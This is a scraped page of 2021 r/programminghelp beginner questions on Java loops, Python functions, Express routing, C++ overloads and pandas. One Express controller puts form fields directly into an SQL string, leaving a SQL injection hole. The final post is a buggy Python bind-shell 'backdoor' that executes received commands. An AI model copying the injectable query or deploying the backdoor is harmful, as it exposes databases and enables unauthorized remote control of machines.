r/programminghelp • • Sep 18 '21

Java Trying to mirror a triangle

4 Upvotes

I need help trying to mirror a triangle using a for loop. I need the triangle to look like this

     *
    **
   ***
  ****

Here is the code

public static void startriangle(int n){

for (int r = 0 ;  r < n; r++){

  for (int col = 0; col <= r  ; col++){
  
    System.out.print("*" );  
    
    
  }
  System.out.println("");

}

}

I am always struggling with loops, where can I get more practice on loops for all programs

Edit :The frist for its supposed to be r&lt;=n and the second for it’s supposed to col &lt;= r not sure why it’s doing that random letters


r/programminghelp • • Sep 15 '21

Java What's the best Java IDE for you and why?

4 Upvotes

Hi, I'm a Computer Science sophomore who is still building my confidence up in programming—and now we're beginning to learn Java. We are tasked to pick an IDE to use and defend why I chose it. Can someone help?

Our professor uses Eclipse but I'm leaning more on to BlueJ. I need an IDE that is beginner friendly but at the same time efficient.

Thank you in advance!


r/programminghelp • • Sep 08 '21

Python Functions help

4 Upvotes

Number of days per month

month_days = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] 

def is_leap(x): 
    return x % 4 == 0 and (x % 100 != 0 or x % 400 == 0) 

def days_in_month(year, month):  
        if not 1 <= month <= 12: 
            return "invalid month" 
        if month == 2 and is_leap(year): 
            return 29 
        return month_days[month]

print(days_in_month(2017, 2))

In the function: days_in_month(year, month) in the 2nd if statement how can the is_leap take in the arguement year and still be able to complete its function.

To clarify what I mean is how does the program pick up that when I assign something to the year arguement it has to run the is_leap function even though the is_leap function is coded to have the arguement of x.

If year was 12, would is_leap(year) take that 12 in and replace x with it and then run it?


r/programminghelp • • Sep 08 '21

JavaScript router not working Express Js

4 Upvotes

Hello, noob question. i have recently started working on Express and need help with Router.

i am getting this error 'Error - Can not get'

app file

const express = require('express')
const app = express()
const router = require('./router')
const db = require('./db_connection');
const createError = require('http-errors');
const path = require('path');
const cookieParser = require('cookie-parser');
const logger = require('morgan');
const bodyParser = require('body-parser');
const flash = require('express-flash');
const session = require('express-session');
app.use(express.static('public'))
app.set('views', 'views')
app.set('view engine', 'ejs')
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(session({
secret: '123456catr',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 60000 }
}))

// app.get('/', function (req, res) {
//     res.send('hell this is from the app.get file')
// })
app.use(flash());
app.listen(3000)

user controller

exports.home = function (req, res) {
res.render('index')
}
exports.buyNow = function (req, res, next) {
var f_name = req.body.f_name;
var l_name = req.body.l_name;
var email = req.body.email;
var message = req.body.message;
var sql = `INSERT INTO contacts (f_name, l_name, email, message, created_at) VALUES ("${f_name}", "${l_name}", "${email}", "${message}", NOW())`;
    db.query(sql, function (err, result) {
if (err) throw err;
console.log('record inserted');
req.flash('success', 'Data added successfully!');
res.redirect('/');
    })
}

Router File

const express = require('express')
const router = express.Router()
const userController = require('./controllers/userController')
router.get('/', userController.home)
router.post('/buyNow', userController.buyNow)
module.exports = router

Please guide


r/programminghelp • • Sep 07 '21

Python Having trouble understanding what role return actually has and when to use it

4 Upvotes

Essentially what I'm asking is why would you use return when print does the same thing?

E.g 1 if you have the following code: 

def example():
    pi = 22.0/7.0
    return pi

print(example())    

The output is 3.14

E.g.2 

def example():
    pi = 22.0/7.0
    print(pi)

example()

Output = 3.14


r/programminghelp • • Sep 03 '21

C++ Why does changing my define from float->double make my call ambiguous?

4 Upvotes

Here is the source:

> cat ambiguous.cpp
#include <iostream>

#define MY_DEFINE -0.65  //call of overloaded ‘calcPos(float [3], NULL, float [3], float [3], int, int, double)’ is ambiguous
//#define MY_DEFINE -0.65f //Compiles

void calcPos( float xyzDst[3], float hprDst[3],
              const float xyzSrc[3], const float hprSrc[3],
              float ox, float oy, float oz, float oh_=0.0f, float op_=0.0f, float or_=0.0f );

void calcPos( float xyzDst[3], float hprDst[3],
              const float xyzSrc[3], const float hprSrc[3],
              const float xyzOffset[3], const float hprOffset[3], bool debug=false );

int main( void )
{

   float xyz[3];
   float hpr[3];
   calcPos( xyz, NULL, xyz, hpr, 0, 0, MY_DEFINE );

}

void calcPos( float xyzDst[3], float hprDst[3],
                      const float xyzSrc[3], const float hprSrc[3],
                      float ox_, float oy_, float oz_,
                      float oh_, float op_, float or_ )
{
    return;
}


void calcPos( float xyzDst[3], float hprDst[3],
              const float xyzSrc[3], const float hprSrc[3],
              const float xyzOffset[3], const float hprOffset[3], bool debug )
{
    if ( debug )
    {
        std::cout << "Debug Info" << std::endl;
    }
    return;
}

Here is the error:

> g++ ambiguous.cpp
ambiguous.cpp: In function ‘int main()’:
ambiguous.cpp:19:54: error: call of overloaded ‘calcPos(float [3], NULL, float [3], float [3], int, int, double)’ is ambiguous
        calcPos( xyz, NULL, xyz, hpr, 0, 0, MY_DEFINE );
                                                      ^
ambiguous.cpp:6:10: note: candidate: ‘void calcPos(float*, float*, const float*, const float*, float, float, float, float, float, float)’
     void calcPos( float xyzDst[3], float hprDst[3],
          ^~~~~~~
ambiguous.cpp:10:10: note: candidate: ‘void calcPos(float*, float*, const float*, const float*, const float*, const float*, bool)’
     void calcPos( float xyzDst[3], float hprDst[3],
          ^~~~~~~

I solved the error by setting:

#define MY_DEFINE -0.65f

However, I don't understand why this was even necessary.

It also compiled fine before I added the bool debug parameter.

Can someone explain?


r/programminghelp • • Aug 18 '21

Python How to organise a complex dictionary

4 Upvotes

Hello :)

Let's say I have a dictionary such as:

{'women': [['Mary', 28], ['Lucy', 32], ['Alice', 67]],

'men': [['Ste', 32], ['Mike', 19], ['Jack', 24]]}

And I want to print this dictionary as is, but with the people within their categories (women and men) from oldest to youngest. How do I do that, please?


r/programminghelp • • Aug 11 '21

Other Need some help on how to compare values for pandas, eg check if the second values has increased by 50 percent of the first value, below is my pandas data so in the case, check if the value of Diesel for 2007 1.5 times than of 2006 and so on and so off.

4 Upvotes

Fuel Type 2006 2007 ... 2016 2017 2018

0 Diesel 7 4 ... 10364 15514 17253

1 Diesel-Electric 0 0 ... 22 22 21

2 Electric 1 1 ... 12 314 560

3 Petrol 471707 513375 ... 578977 574443 569673

4 Petrol-CNG 214 248 ... 1682 1006 386

5 Petrol-Electric 379 1057 ... 10075 20751 27179

6 Petrol-Electric (Plug-In) 0 0 ... 125


r/programminghelp • • Jul 04 '21

Java Why is my Java method not counting 0 as its own digit?

4 Upvotes

Hello! I was just working on a simple digit counter and realized a particular bug within it, if I were to pass the method with the number 0 as its parameter in the main method, the number of digits I keep getting back is "0", it should be a "1". What is so odd is that every other number I pass it works perfectly, but for some reason it just does not see 0 as being its own individual digit. Strangely, if I pass "100" I get "3", which means its counting the digits as it should, but not 0 by itself, any help is appreciated.

Code:

public static int getDigitCount(int number) {

	if(number < 0) {

		return -1;

	} else {

		int digitCount = 0;

		while(number > 0) {

number /= 10;

digitCount++;

		}

		return digitCount;

	}

}

r/programminghelp • • Jun 06 '21

C++ I need to switch the Major Diagonal and Minor Diagonal of a Matrix to display a different character than the rest of the Matrix and I am lost on how to do so.

4 Upvotes

Here is the code I have so far

#include <iostream>
using namespace std;
const int SIZE = 4;
const char DEFAULT = '?';
//---------------------
void displayMatrix (const char theMatrix [ ] [SIZE])
{
int curRow;
int curCol;
for (curRow = 0; curRow < SIZE; curRow++)
{
for (curCol = 0; curCol < SIZE; curCol++)
{
cout << theMatrix [curRow] [curCol] << " ";
}
cout << endl;
}
}
//--------------------------
void majorDiag (char theMatrix [ ] [SIZE])
{
}
//------------------------
void minorDiag (char theMatrix [ ] [SIZE])
{
}
//---------------------------
int main ()
{
char myNumber [SIZE] [SIZE] = { {'?','?','?','?'}, {'?','?','?','?'}, {'?','?','?','?'}, {'?','?','?','?'}};
displayMatrix (myNumber);
return 0;
}

I need to finish the majorDiag and minorDiag functions and if anyone has any tips or advice I would greatly appreciate it.


r/programminghelp • • May 16 '21

C++ C++ ( MS Visual Studio) University assignment: I have to create a function named "sogl" that outputs 1 when it receives a consonant letter and 0 when it receives a vowel letter. For some reason it always outputs 1 and I can`t tell why.

4 Upvotes

Code:

#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
using namespace std;

const char e = 'e';
const char y = 'y';
const char u = 'u';
const char il = 'i';
const char o = 'o';
const char a = 'a';
int i, z, n;
int sogl(char str)
{
	if (str == e || str == y || str == u || str == il || str == o || str == a) {
		i = 0;
	}
	else {
		i = 1;
	}

	return i;
}
int main() {
	char str[1];
	scanf_s("%s", str, 1);
	printf_s("\n");
	z = sogl(str[0]);
	printf_s("%d", z);
}

r/programminghelp • • May 05 '21

C I need help with my C code, why isnt the product being printed after the for loop?

4 Upvotes

#include <stdio.h>
int factorial(int n);
int main()
{
int n;
printf("type number to get its factorial: ");
scanf("%d", &n);
int factorial(int n);
}
int factorial(int n)
{
int i;
int product= 1;

for(i= n ;i>1;i--)
{
product *= i;
}
printf("the factorial is %d", product);
return(0);
}


r/programminghelp • • May 05 '21

HTML/CSS My own website

4 Upvotes

r/programminghelp • • May 03 '21

JavaScript How to pull a variable from a setInterval (Javascript)

4 Upvotes
setInterval(()=>{
var timma=d.getHours();
}, 1000);
console.log(timma);

r/programminghelp • • Apr 24 '21

Java Confused calling on classes/methods from other .java files

4 Upvotes

Working in NetBeans, using Java. Teacher assigned source code file to not be altered, with 2 other files that should be created in order for the first code file to run. I've created the other two codes, but the issue I'm having is the instantiation of 2 objects in the main source code. It is acting like the latter 2 source code files are not in the package, therefore the first code will not run. I've looked over some forums, but can't figure out why this is happening. I have moved my classes to the correct package, but still it says "Cannot find symbol".

Please help


r/programminghelp • • Apr 19 '21

ASM I need somebody to explain to me how I write a Timer0 interrupt program in assembler for a RISC CPU

4 Upvotes

As the title says i have a question about outdated technology. Tomorrow is my last day in college and i need to pass this exam to finish. I have absolutely no clue on how to do it.


r/programminghelp • • Apr 14 '21

JavaScript Hey guys, so I have this school project where we have to build a rover that can drive though a parkour. For some reason its not working properly. i think the problem is that the Program keeps getting stuck in the if-loops. Does anyone know why ?

4 Upvotes

That is the code -> https://pastebin.com/nK5Qb5z2


r/programminghelp • • Apr 06 '21

Answered How can I suppress webbrowser printing true when I open a website in Python?

4 Upvotes

So I’m on Mac and I’m running the command webbrowser.get(“open -a /Applications/Google\ Chrome.app %s”).open(“http://google.com”) and it works well, but it prints “true” right after. Is there any way to suppress this? Thanks in advance


r/programminghelp • • Apr 03 '21

Python Trying to make python print a random sentence from a sentence bank

4 Upvotes

I am making a discord bot that prints a sentence from a list of a txt file. I got a script working to pull a random word, but I don't know how to make python recognize a full sentence. Each sentence is separated by a period and indent in the file btw. Also this is my code:

with open("ozair quote.txt", "r") as file:
data = file.read()
words = data.split()

word_pos = random.randint(0, len(words)-1)
print(words[word_pos])


r/programminghelp • • Apr 02 '21

Other A program that takes input from the screen and outputs a click

4 Upvotes

basically, I want a program that can sense when a few specific spots on my screen change color, and based on that, click in a specific location. something as simple as

if(colorChangeAt1)
{
    clickAt1;
}
if(colorChangeAt2)
{
    clickAt2;
}
if(colorChangeAt3)
{
    clickAt3;
}

I know Java and HTML, and I can learn the basics of anything else pretty quickly, so this isn't as much about the code itself as much as I just don't know where to start. I've never made a program that took any input outside of the console or did anything outside the console. Does a program like this already exist? If not, what could I use to make something with these capabilities? Looking to do this on windows10 but I could make Linux work as well, though I'm not as familiar. Any help is greatly appreciated!


r/programminghelp • • Mar 27 '21

Python Help with Menu Changing using Python

4 Upvotes

So I'm making the old "fishy" game from the old Flash days, where you eat little fish while avoiding big ones. I am currently struggling to handle bringing the game to start in my start menu (in menu.py), and then changing to the main game once a mouse click is input. I was wondering if I could have some help in that. I was wondering how I should go about putting the "mouse_press" function, I think for the sake of style it's better to have main call it, but I'm not sure of how to best do it. Here is the repository for the game:

https://github.com/phi1ny3/FishyTest

In particular, in either main on line 42 or 48, or in menu on line 21.

Thanks in advance!


r/programminghelp • • Mar 27 '21

PHP Very strange issue I am having with PHP

4 Upvotes

I found a tutorial on YouTube on how to download YouTube videos with PHP. I copied his source code into a .php file, but I get this when trying to run it.

https://imgur.com/a/R2AUW2O

Here is the code:

<!DOCTYPE html>

<html> <head> <title>Download Youtube Video</title> </head> <body> <form method="POST"> <h1>Enter the URL of the video you would like to download.</h1> <label>Url of Video:</label> <input type="text" name="url"> <input type="submit" name="submit"> </form> </body> </html>

<?php // Load and initialize downloader class if (isset($_POST["submit"])) { include_once 'Youtube.class.php'; $handler = new YouTubeDownloader(); // Youtube video url $youtubeURL = $_POST["url"]; // Check whether the url is valid if(!empty($youtubeURL) && !filter_var($youtubeURL, FILTER_VALIDATE_URL) === false){ // Get the downloader object $downloader = $handler->getDownloader($youtubeURL); // Set the url $downloader->setUrl($youtubeURL); // Validate the youtube video url if($downloader->hasVideo()){ // Get the video download link info $videoDownloadLink = $downloader->getVideoDownloadLink(); $videoTitle = $videoDownloadLink[0]['title']; $videoQuality = $videoDownloadLink[0]['quality']; $videoFormat = $videoDownloadLink[0]['format']; $videoFileName = strtolower(str_replace(' ', '_', $videoTitle)).'.'.$videoFormat; $downloadURL = $videoDownloadLink[0]['url']; // $fileName = preg_replace('/[^A-Za-z0-9._\-]/', '', basename($videoFileName)); if(!empty($downloadURL)){ // Define headers header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=$fileName"); header("Content-Type: application/zip"); header("Content-Transfer-Encoding: binary"); // Read the file readfile($downloadURL); } }else{ echo "The video is not found, please check YouTube URL."; } }else{ echo "Please provide valid YouTube URL."; } } ?>

Anyone know why it is doing this?


r/programminghelp • • Mar 25 '21

C++ cin.clear() and cin.ignore help needed.

4 Upvotes

So I'm taking an introductory class to C++ and for an assignment we're creating an average grade program. The idea is that you'd allow a student to enter lab, test, and project grades to get back averages before being given a class average.

The program first calls an averageGrade function, and in this program it allows the user to enter in as many grades as they want. It adds together the grades and counts how many grades entered before finding the average and returning it.

One bug I kept running into was that the program would loop indefinitely if I accidentally typed in a character or a string, and after digging around on the internet, I figured out why and found a solution. The only issue is that now I have to enter the grade twice for it to be counted and for the program to move on, and I'm not sure why. Any help would be appreciated.

Code: https://pastebin.com/phRR5Xn8


r/programminghelp • • Mar 24 '21

Python Python Backdoor help

4 Upvotes

Right now I'm working on a backdoor program in python for fun (not for evil purposes) but I keep receiving a broken pipe error message, I'm sure the solution is simple and obvious but I am pretty new to python.

Backdoor:

import socket
import platform
import subprocess
s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = platform.node()
port = 4444
s.bind((Host, port))
s.listen(1)
conn, addr = s.accept()
while True:
	data = conn.recv(1024)
	data2 = data.decode('utf-8')
	z = subprocess.Popen(data2, shell=True, stdout=subprocess.PIPE,   stderr=subprocess.PIPE)
	z2 = z.stdout.read() + stderr()
	s.send(z2)

Client:

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Host = input('Host:')
Port = 4444
s.connect((Host, Port))
while True:
	cmd = input('RHOST ~$')
	cmd2 = cmd.encode('utf-8')
	x = s.send(cmd2)
	z = s.recv(1024)
	z2 = z.decode('utf-8')
	print(z2)